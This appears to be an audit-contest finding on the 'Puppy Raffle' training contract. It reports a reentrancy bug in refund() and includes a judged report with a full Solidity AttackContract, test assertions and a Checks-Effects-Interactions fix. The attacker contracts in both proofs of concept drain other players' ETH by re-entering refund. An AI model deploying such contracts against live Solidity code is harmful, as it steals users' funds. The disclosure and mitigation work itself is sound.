Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund allows a malicious player to drain raffle funds

kirayoshikage

Description

The refund function is vulnerable to reentrancy because it transfers ETH to the caller before updating the caller's player state.

A malicious contract can enter the raffle once, call refund, and then reenter refund from its receive() function before players[playerIndex] is cleared. This allows the same raffle entry to be refunded multiple times.

The issue results in direct loss of funds because the attacker can withdraw more ETH than they deposited, using ETH that belongs to other raffle participants.

Root + Impact

The refund function sends ETH to msg.sender before clearing the player's entry from the players array.

The vulnerable order is:

payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);

This violates the Checks-Effects-Interactions pattern. Since Address.sendValue forwards control to the receiver, a malicious contract can reenter refund(playerIndex) from its receive() function before players[playerIndex] is cleared.

As a result, the same raffle entry can be refunded multiple times.

A malicious player can enter the raffle once using a contract address, call refund, and reenter refund during the ETH transfer. Since the player state is still active during the callback, the attacker receives multiple refunds for one entry.

This allows the attacker to withdraw more ETH than they deposited and steal ETH deposited by other raffle participants.

Risk

Likelihood:

  • Any active player can call refund.

  • An attacker can enter the raffle using a malicious contract.

  • The ETH transfer triggers the attacker's receive() function.

  • The player's entry is cleared only after the ETH transfer.

Impact:

  • The attacker can receive more ETH than they deposited.

  • ETH from legitimate raffle participants can be stolen.

  • The raffle balance can be drained, preventing legitimate refunds or winner payouts.

Proof of Concept

I added a malicious attacker contract and a test named:

testReentrancyInRefundAllowsAttackerToDrainFunds

The attacker contract first enters the raffle using address(this), so players[playerIndex] equals the attacker contract address.

When refund(playerIndex) is called, the first refund passes because players[playerIndex] == msg.sender.

During sendValue, the attacker contract receives ETH and its receive() function is executed. At this moment, players[playerIndex] has not yet been set to address(0), so calling refund(playerIndex) again passes the same checks.

This repeats until the attacker stops reentering.

The relevant attacker logic is:

receive() external payable {
if (reentryCount < maxReentries) {
reentryCount++;
puppyRaffle.refund(playerIndex);
}
}

The test setup:

  1. Four legitimate players enter the raffle, so the raffle initially holds 4 * entranceFee.

  2. The attacker enters once with 1 * entranceFee.

  3. The attacker calls refund.

  4. The attacker reenters refund multiple times from receive() before the player entry is cleared.

The key assertions are:

assertEq(raffleBalanceBefore, entranceFee * 4);
assertEq(attackerBalanceAfter, entranceFee * 4);
assertEq(raffleBalanceAfter, entranceFee);

This proves the attacker deposits only 1 * entranceFee but receives 4 * entranceFee, stealing 3 * entranceFee from legitimate participants.

The test was run with:

forge test --match-test testReentrancyInRefundAllowsAttackerToDrainFunds -vvv

The test passed.

Recommended Mitigation

Move the state update before the ETH transfer.

The fixed order should be:

players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);

This follows the Checks-Effects-Interactions pattern.

Consider also using ReentrancyGuard and applying nonReentrant to refund.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!